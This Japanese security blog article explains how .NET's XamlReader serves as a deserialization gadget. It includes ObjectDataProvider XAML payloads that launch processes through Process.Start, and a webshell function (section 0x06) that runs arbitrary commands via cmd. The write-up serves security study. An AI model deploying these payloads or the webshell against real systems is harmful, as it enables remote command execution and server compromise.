.NET 上級コード監査 - 逆シリアル化 Gadget の詳細解説:XAML

.NET 上級コード監査 - 逆シリアル化 Gadget の詳細解説:XAML

.NET 逆シリアル化脆弱性 XmlSerializer の核心 Gadget:XamlReader

最終更新 2022/05/29 9:38
Ivan1ee dotNet安全矩阵
読了目安 7 分
カテゴリ
.NET
タグ
.NET C# XAML

0x01 背景

.NET 逆シリアル化脆弱性 XmlSerializer の核となる Gadget:XamlReader は、WPF の主要アセンブリの1つである PresentationFramework.dll にカプセル化され、System.Windows.Markup 名前空間に配置されています。XamlReader と XamlWriter の2つの公開クラスを提供します。XamlReader クラスが提供する低レベルの Load メソッドは、XAML 文字ストリームデータを解析して .NET オブジェクトインスタンスを作成できます。また、上位レベルのラッパーメソッド XamlReader.Parse が提供されており、XAML 文字列を直接解析できます。XmlSerializer 逆シリアル化チェーンはこのメソッドに基づいてコマンド実行を実現します。XAML から切り離せないので、筆者と一緒に XAML の基本を学びましょう。

0x02 XAML 入門

WPF は Windows Form に代わり Windows クライアントアプリケーションを作成するためのもので、Web プロジェクトと同様にフロントエンドのレイアウトとバックエンドコードの分離の原則に従います。Web プロジェクトのフロントエンドは通常 HTML ですが、XAML は WPF プロジェクトのフロントエンド UI 開発に使用されます。XAML の正式名称は Extensible Application Markup Language で、汎用の XML 構文に基づいて .NET オブジェクトをインスタンス化するためのマークアップ言語です。XAML ドキュメントの各要素は .NET クラスのインスタンスにマッピングされます。例えば、ルート要素 <Window> は WPF が Window オブジェクトを作成することを示します。その他のルート要素には <Application><Page><UserControl> があります。実際に、XAML はコンパイル時に C# クラスにもコンパイルされます。そのため、対応する .cs ファイル内のバックエンドコードでは、UI とロジックコードがコンパイル時に結合されるように、partial キーワードを宣言する必要があります。以下は最も基本的な XAML コードです。

<Window x:Class="WpfApplication1.MainWindow"
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        xmlns:sys="clr-namespace:System;assembly=mscorlib"
        Title="MainWindow" Height="300" Width="300">
    <ListBox>
        <ListBoxItem>
            <sys:String>dotNetセキュリティマトリックスへようこそ</sys:String>
        </ListBoxItem>
    </ListBox>
</Window>

上記には Window 要素と Grid 要素が含まれており、Window 要素はウィンドウ全体を表し、Grid はすべてのコントロールを配置できます。全体の構造は、Window オブジェクトの中に Grid オブジェクトがネストされています。x:Class はバックエンドの名前空間とクラス名を表し、これにより WPF のフロントエンド XAML とバックエンドの実装コードを分離して管理できます。xmlns は XML 名前空間を意味し、オプションのマッピングプレフィックス x を付けることができ、コロンで区切られます。また、2つの xmlns 名前空間が宣言されています。以下の表の通りです。

上記のリストの URL はそれぞれ何を意味するのでしょうか?これは XAML パーサーのハードコードされた規則です。http://schemas.microsoft.com/winfx/2006/xaml/presentation は WPF の主要アセンブリ PresentationFramework を導入することを示します。例えば、一般的な System.Windows.Data 名前空間です。http://schemas.microsoft.com/winfx/2006/xaml は、別の主要アセンブリ System.Xaml を導入することを示します。例えば、一般的に使用される Windows.Markup です。逆コンパイル後は以下の図のようになります。

さらに、xmlns:sys="clr-namespace:System;assembly=mscorlib" は、sys プレフィックスを .NET 基本クラスライブラリ System.String 名前空間にマッピングすることを示し、後で <sys:String> を使用して文字列型を取得します。同様に、他の .NET アセンブリがサポートする基本クラスを導入したい場合は、次の構文を参照してください:xmlns:Prefix="clr-namespace:Namespace;assembly=AssemblyName"。例えば、逆シリアル化攻撃ペイロードでよく使用される Diagnostics.Process クラスが存在するアセンブリ:xmlns:c="clr-namespace:System.Diagnostics;assembly=system"

0x03 X: ディレクティブ

筆者が作成したプロジェクト名 ObjectDataProvider は紛らわしいかもしれませんが、ここで説明しておきますと、逆シリアル化で使用される ObjectDataProvider クラスとは全く関係ありません。以下の表は、一般的な x: 空間ディレクティブの意味です。

x:Class は前述したので省略します。x:Key はリソースファイル内の必要な要素を検索するためのキー名を示します。x:Type は CLR が提供するデータ型で、XAML 内では特定の名前空間のクラスを参照するものと考えることができます。x:Static はバックエンドクラスで定義された静的フィールドを参照します。x:Code は XAML 内で C# コードを実行して電卓を表示することができます。例えば、フォームの Loaded イベントで呼び出すメソッド名を指定します:Window_Loaded

<x:Code>
        <![CDATA[
        private void Window_Loaded(object sender, RoutedEventArgs e)
        {
            System.Diagnostics.Process.Start("calc");
        }
        ]]>  
</x:Code>

下図では、筆者が多くの概念を図にまとめました。読者がより直感的に理解できることを願っています。下図の x:Type は簡単に言うと、XAML で特定のデータ型を使用したい場合に使用します。例えば、カスタム名前空間 xmlns:process から Process クラスを呼び出す場合などです。また、xmlns:local="clr-namespace:ObjectDataProvider" はローカルプロジェクトの名前空間 ObjectDataProvider をプレフィックス xmlns:local にマッピングします。

上図の x:Type は簡単に言うと、XAML で特定のデータ型を使用したい場合に使用します。例えば、カスタム名前空間 xmlns:process から Process クラスを呼び出す場合などです。また、xmlns:local="clr-namespace:ObjectDataProvider" はローカルプロジェクトの名前空間 ObjectDataProvider をプレフィックス xmlns:local にマッピングします。

0x04 ペイロードの簡略化

第12課では、リソースディクショナリ(ResourceDictionary)についてすでに詳しく説明しました。機能としては、キーと値のペアでリソースを格納し、任意の型のオブジェクトを格納できます。デフォルトのウィンドウデザイナーは Window.Resources タグを作成します。筆者は2つのリソース項目を追加しました。1つは String 型、もう1つは Double 型です。最後に静的メソッドでリソースを読み取り、TextBlock コントロールにバインドします。

リソースが多すぎて集中管理する必要がある場合は、ResourceDictionary を使用します。各リソースを個別のファイルに保存し、ResourceDictionary.MergeDictionaries で結合して使用できます。

<ResourceDictionary>
    <ResourceDictionary.MergedDictionaries>
        <ResourceDictionary Source="Dic1.xaml"/>
        <ResourceDictionary Source="Dic2.xaml"/>
    </ResourceDictionary.MergedDictionaries>
 </ResourceDictionary>

トップレベルのコンテナに Window.Resources が見つからない場合、プログラムはさらに Application.Resources まで上昇してリソースを探します。そのため、悪意のあるコードを Application.Resources に導入しても実行できます。XmlSerializer の逆シリアル化で示された Payload と XAML を見比べてみてください。ずっと理解しやすくなったと思いませんか?

<![CDATA[
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:b="clr-namespace:System;assembly=mscorlib"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
    <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
        <ObjectDataProvider.MethodParameters>
            <b:String>cmd</b:String>
            <b:String>/c calc</b:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>]]>

clr-namespace:System.Diagnostics アセンブリは必須で、これを使って Process クラスを呼び出して新しいプロセスを起動します。しかし、さらに簡略化することもできます。clr-namespace:System は必須ではないため、対応する名前空間 xmlns:b は不要で、MethodParameters で <b:String> 要素を使用する必要もありません。また、<ResourceDictionary><Window.Resources> または <Application.Resources><Grid> コントロールで代替できます。コードは次のとおりです。

<Grid xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
    <Grid.Resources>
        <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
            <ObjectDataProvider.MethodParameters>calc</ObjectDataProvider.MethodParameters>
        </ObjectDataProvider>
    </Grid.Resources>
</Grid>

0x05 攻撃面

XamlReader.Parse

ysoserial は XmlSerializer 逆シリアル化チェーンで XamlReader.Parse を使用して XAML 文字列を解析し、新しいオブジェクトを返します。定義に移動すると、2つのメソッドオーバーロードがあることがわかります。公式ドキュメントには次のように記載されています。

指定されたテキスト文字列内の XAML 入力を読み取り、指定されたマークアップのルートに対応するオブジェクトを返します。

筆者はテストケースを作成し、Dictionary2.xaml に保存しました。次のコードでは、ObjectType="{x:Type TypeName=local:Process }" の TypeName は省略可能です。また、リソース検索キー名 ResourceKey も省略可能です。Source={StaticResource ResourceKey=obj}

<Window
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
        xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
        mc:Ignorable="d"
        xmlns:local ="clr-namespace:System.Diagnostics;assembly=System"
        Title="MainWindow" Height="450" Width="800">
    <Window.Resources>
        <ObjectDataProvider x:Key="obj" ObjectType="{x:Type local:Process }" MethodName="Start">
            <ObjectDataProvider.MethodParameters>"winver"</ObjectDataProvider.MethodParameters>
        </ObjectDataProvider>
    </Window.Resources>
    <Grid DataContext="{Binding Source={StaticResource obj}}">
        <Button Content="Button" HorizontalAlignment="Left" Margin="300.085,187.924,0,0" VerticalAlignment="Top" Width="139.599" Height="45.517"/>
    </Grid>
</Window>
string xml = File.ReadAllText("../../Dictionary2.xaml");
XamlReader.Parse(xml);

上記のコードを実行して呼び出しスタックを追跡すると、複数の Load メソッドが呼び出されていることがわかります。WpfXamlLoader クラスの Load メソッドが呼び出されていることに注目してください。これは内部実装クラスであり、外部から直接使用することはできません。XamlReader.Loader メソッドを介してのみ呼び出すことができます。

XamlReader.LoadAsync

XamlReader クラスは3種類の Load オーバーロードを提供し、さらに LoadAsync 非同期メソッドも提供します。これは大きなファイルのデータ転送時にメインスレッドに影響を与えず、ストリームを直接読み込んでオブジェクトに変換できます。

//Test:Load
string xml = File.ReadAllText("../../Dictionary2.xaml");
MemoryStream ms = new MemoryStream(System.Text.Encoding.Default.GetBytes(xml));
XamlReader.Load(ms);

//Test:LoadAsync
MemoryStream ms0 = new MemoryStream(System.Text.Encoding.Default.GetBytes(xml));
XamlReader xamlReader = new XamlReader();
xamlReader.LoadAsync(ms0);

0x06 WebShell

プログラムの操作性を高めるために、筆者は aspx ページを使用してリスクチェックスマートアシスタントを作成しました。同時に、ホストプロセス、ホスト情報収集、ホストディレクトリファイルアクセスなどの機能を設計しました。内部では Base64 エンコードおよびデコード方式で実行されます。これにより、URL の特殊文字の処理が容易になります。Process クラスを使用して cmd.exe /c winver.exe を起動し、コマンドを実行します。コアコードとページのユーザーエクスペリエンスインターフェースは以下のプログラムのとおりです。

public static void CodeInject(string input)
{
    string ExecCode = EncodeBase64("utf-8", input);
    StringBuilder strXMAL = new StringBuilder("<ResourceDictionary ");
    strXMAL.Append("xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" ");
    strXMAL.Append("xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" ");
    strXMAL.Append("xmlns:b=\"clr-namespace:System;assembly=mscorlib\" ");
    strXMAL.Append("xmlns:pro =\"clr-namespace:System.Diagnostics;assembly=System\">");
    strXMAL.Append("<ObjectDataProvider x:Key=\"obj\" ObjectType=\"{x:Type pro:Process}\" MethodName=\"Start\">");
    strXMAL.Append("<ObjectDataProvider.MethodParameters>");
    strXMAL.Append("<b:String>cmd</b:String>");
    strXMAL.Append("<b:String>/c "+ DecodeBase64("utf-8",ExecCode) +"</b:String>");
    strXMAL.Append("</ObjectDataProvider.MethodParameters>");
    strXMAL.Append("</ObjectDataProvider>");
    strXMAL.Append("</ResourceDictionary>");
    XamlReader.Parse(strXMAL.ToString());
}

0x07 結び

XamlReader クラスの複数のコマンド実行メソッドが将来的に悪用されないことを願っています。以上で本記事の紹介を終わります。記事に関連する PDF とデモはスター星球にパッケージ化して公開しています。.NET セキュリティに関心のある方、関心を持っている方はぜひ私たちに参加してください。ここでは、情に厚い仲間に出会え、皆で集まって意味のあることを一緒にできます。

さらに探索

関連読書

その他の記事
同じカテゴリ / 同じタグ 2026/04/22

各OSバージョンの.NETサポート状況(250707更新)

仮想マシンとテストマシンを使用して、各OSバージョンの.NETサポート状況を確認します。OSインストール後、対応するランタイムをインストールし、Stardustエージェントを実行できることを確認します(合格条件)。

続きを読む
同じカテゴリ / 同じタグ 2026/02/07

AOTの使用経験のまとめ

プロジェクト作成当初から、新機能を追加したり新しい構文を使用したりした場合には、すぐにAOT公開テストを実施するという良い習慣を身につけるべきです。

続きを読む